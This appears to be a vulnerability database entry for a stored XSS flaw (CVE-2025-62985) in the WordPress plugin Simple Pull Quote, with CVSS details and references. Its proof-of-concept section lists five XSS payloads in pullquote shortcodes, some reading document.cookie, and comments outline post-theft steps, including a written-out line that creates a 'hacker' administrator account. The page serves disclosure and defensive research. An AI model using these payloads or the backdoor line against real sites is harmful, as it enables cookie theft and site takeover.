CVE-2025-62985

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in llamaman Simple Pull Quote simple-pull-quote allows Stored XSS.This issue affects Simple Pull Quote: from n/a through <= 1.6.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Simple Pull Quote插件 <= 1.6.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- WordPress Simple Pull Quote Plugin Stored XSS PoC -->
<!-- CVE-2025-62985 -->

<!-- Method 1: Using script tag -->
[pullquote align='left']<script>alert(document.cookie)</script>[/pullquote]

<!-- Method 2: Using event handler attribute -->
[pullquote align='left']<img src=x onerror=alert('XSS')>[/pullquote]

<!-- Method 3: Using SVG element -->
[pullquote align='left']<svg onload=alert(document.domain)>[/pullquote]

<!-- Method 4: Using body onload event -->
[pullquote align='left']<body onload=alert('XSS')>[/pullquote]

<!-- Method 5: Using anchor with javascript protocol -->
[pullquote align='left']<a href='javascript:alert(document.cookie)'>Click me</a>[/pullquote]

<!-- WordPress Admin Panel Exploitation -->
<!-- After stealing admin cookie, attacker can: -->
<!-- 1. Edit theme files to inject backdoor -->
<!-- 2. Install malicious plugin -->
<!-- 3. Create new admin user -->
<!-- Example: Create new admin via theme editor -->
<!-- Add to functions.php: wp_insert_user(array('user_login'=>'hacker','user_pass'=>'P@ssw0rd123','role'=>'administrator')) -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62985
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62985
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62985/
[4] VulDB https://vuldb.com/cve/CVE-2025-62985
[5] https://patchstack.com/database/Wordpress/Plugin/simple-pull-quote/vulnerability/wordpress-simple-pull-quote-plugin-1-6-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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